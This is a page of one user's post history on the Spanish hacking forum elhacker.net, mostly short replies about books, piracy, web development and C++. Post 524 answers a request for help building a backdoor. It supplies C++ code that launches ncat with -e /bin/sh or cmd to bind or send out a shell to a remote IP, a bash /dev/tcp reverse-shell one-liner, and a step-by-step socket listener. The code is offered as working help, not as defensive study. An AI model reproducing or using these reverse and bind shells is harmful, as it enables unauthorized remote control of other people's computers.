elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a Git (Primera Parte)


  Mostrar Mensajes
Páginas: 1 ... 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 [53] 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 ... 287
521  Seguridad Informática / Seguridad / Re: Desvio de llamadas en: 2 Junio 2020, 19:30 pm
https://en.m.wikipedia.org/wiki/Call_forwarding

#62# para desactivarlo.
 
522  Foros Generales / Foro Libre / Re: ¿Algun bibliófilo? en: 2 Junio 2020, 19:18 pm
Ya ves, o eres un anal
Menos mal que llego internet, que tambien es perseguida, cuidado con compartir obras, que ahora tienen la escusa de que tienen derecho de autor para evitar que la gente tambien lea.
Jaja te montas un nodo de salida de tor y se te llena el email de siglas. Eula Aula Loula Sopa Sapo Eulalia... Parece un servicio SMS de subscripción para Adultos.

Es una pena.
523  Foros Generales / Noticias / Re: Una asociación antipiratería casi se carga las descargas de un país entero en: 2 Junio 2020, 16:34 pm
Se van a cargar el sector ellos mismos xD
524  Seguridad Informática / Análisis y Diseño de Malware / Re: Necesito ayuda para una backdoor en: 2 Junio 2020, 14:34 pm
Necesitas 2 programas. Un cliente y un servidor. Puede ser conexión directa, el objetivo tiene los puertos abiertos. O conexión inversa, tu tienes los puertos abiertos. También se puede sin abrir puertos pero requiere de settup, proxy y tunelaje.

Puedes usar sockets o alguna librería/software como netcat o includo bash/batch, perl, php, etc. Facilita mucho.

Un ejemplo:
Código
  1. #include <string>
  2.  
  3. using namespace std;
  4.  
  5. #define PUERTO static_cast<string>("9090")
  6. #define IP static_cast<string>("127.0.0.1")
  7. #define REVERSE_IP static_cast<string>("93.184.216.34")
  8.  
  9. void BindShell(string);
  10.  
  11. int main() {
  12.  
  13. string comando = "";
  14.  
  15. #ifdef __linux__ /* LINUX */
  16. /* Bind Local Shell */
  17. BindShell("ncat -l -k " + IP + " " + PUERTO + " -e /bin/sh");
  18.  
  19. /* Bind Remote Shell */
  20. BindShell("ncat " + REVERSE_IP + " " + PUERTO + " -e /bin/sh");
  21.  
  22. /* Bind Remote Shell Bash */
  23. BindShell("bash -i >& /dev/tcp/" + REVERSE_IP + "/" + PUERTO + " 0>&1");
  24.  
  25.  
  26.  
  27. #else /* WINDOWS */
  28. /* Bind Local Shell */
  29. BindShell("ncat -l -k " + IP + " " + PUERTO + " -e cmd");
  30.  
  31. /* Bind Remote Shell */
  32. BindShell("ncat " + REVERSE_IP + " " + PUERTO + " -e cmd");
  33.  
  34. #endif
  35. return 0;
  36. }
  37.  
  38. void BindShell(string command) {
  39. system(command.c_str());
  40. }

O incluso puedes compilar esto en C con gcc sin libs ni nada:
Código
  1. int main() {
  2. system("ncat 127.0.0.1 9090 -e /bin/sh");
  3. return 0;
  4. }

Para sockets Linux usa <sys/socket.h> para funciones y
<netinet/in.h> para sockaddr_in.

Creas el socket (IPv4, TCP) y obtienes en retorno un file descriptor con:
Código
  1. int sockfd = socket(AF_INET, SOCK_STREAM, 0);
  2.  
  3. if (sockfd == -1) {
  4. std::cout << "Failed to create socket. Errno: " << errno << std::endl;
  5. exit(EXIT_FAILURE);
  6. }

exit y la constante están en <cstdlib> cout y endl en <iostream>

Después creas la dirección con sus propiedades obligadas, dirección IP, PUERTO y demás. Y bindeas el sockaddr al sockfd
Código
  1. sockaddr_in sockaddr;
  2. sockaddr.sin_family = AF_INET;
  3. sockaddr.sin_addr.s_addr = INADDR_ANY;
  4. sockaddr.sin_port = htons(9090);
  5.  
  6. if (bind(sockfd, (struct sockaddr*)&sockaddr, sizeof(sockaddr)) < 0) {
  7. std::cout << "Failed to bind to port 9090. Errno: " << errno << std::endl;
  8. exit(EXIT_FAILURE);
  9. }

Te pones a la escucha en el socket con listen:
Código
  1. if (listen(sockfd, 10) < 0) {
  2. std::cout << "Failed to listen on socket. Errno: " << errno << std::endl;
  3. exit(EXIT_FAILURE);
  4. }

Obtienes una conexión de la cola:
Código
  1. auto addrlen = sizeof(sockaddr);
  2. int connection = accept(sockfd, (struct sockaddr*)&sockaddr, (socklen_t*)&addrlen);
  3.  
  4. if (connection < 0) {
  5. std::cout << "Failed to grab connection. Errno: " << errno << std::endl;
  6. exit(EXIT_FAILURE);
  7. }

Tras obtener la conexion lees los bytes de la misma:
Código
  1. char buffer[8192];
  2. auto bytesRead = read(connection, buffer, 8192);
  3. std::cout << "The message was: " << buffer;

Por último puedes recorrer el buffer buscando algo, send para responder, cerrar el sockfd o la conexión, o lo que veas. Esto ya entra dentro de lo que quieras hacer y de tu propia implementación.

Prácticamente todo código lo hice mirando por la docu oficial de <sys/socket.h>
525  Foros Generales / Foro Libre / Re: ¿Algun bibliófilo? en: 2 Junio 2020, 00:08 am
Informática:

The Principles of object-oriented javascript. Nicholas C. Zakas.

Eloquent javascript. Marjin Haverbeke.

Vue.js 2 Cookbook. Andrea Passaglia.

Google Hacking for penetration testers. Jonhy Long, Bill Gardner, Justing Brown.

Android Hacker's Handbook. Joshua J. Drake, Pau Oliva Fora...

Wireshark Network Analysis. Laura Chappell.

The Radare2 book. pancake.



Otros:

Speed Reading. Tony Buzan.

Muay Thai Unleashed. Erich Krauss and Glen Cordoza.

Mi Lucha. Adolf Hitler. Jusego-Chile
526  Programación / Desarrollo Web / Re: Añadir pago a pagina web en: 31 Mayo 2020, 12:02 pm
https://www.paypal.com/us/webapps/mpp/standard-integration
527  Programación / Programación General / Re: Dinosaurio de google automatico en: 31 Mayo 2020, 11:22 am
Pasas el código?

Igual algún día lo hago con Android grabando la pantalla y mandando las teclas por wi-fi. Tiene que estar graciosa la setup pero lo de procesar video tiene curro.
528  Programación / Desarrollo Web / Re: Consulta funcion javascript - ¿ Hace un F5? en: 31 Mayo 2020, 00:00 am
Pasa más código, aquí no enseñas nada.

Chequea si tienes un <meta http-equiv... un algo.submit o algo así. Hay tantas formas... Mejor que pases el código.
529  Programación / Programación C/C++ / Re: Error con "fstream" ingresando strings de palabras con tildes en: 30 Mayo 2020, 22:02 pm
Código
  1. unsigned uint8_t utf8BOM[] = {0xEF,0xBB,0xBF};
  2. fileStream.write(utf8BOM,sizeof(utf8BOM));

Añádele la codificación al archivo.
530  Programación / Scripting / Re: ¿Es cierto esto de Python? en: 30 Mayo 2020, 21:52 pm
A mi Python junto con Java me parecen horribles. Marketing empresarial puro y duro, lo que fuerza a la comunidad a moverse y desarrollar ahí. Como lenguajes como tal... Igual es cosa mía que por lo general me da sida usar alto nivel. Están bien para hacer alguna cosilla, pero si tuviese que programar en ellos a diario me quedaría como una ameba.
Páginas: 1 ... 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 [53] 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 ... 287
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines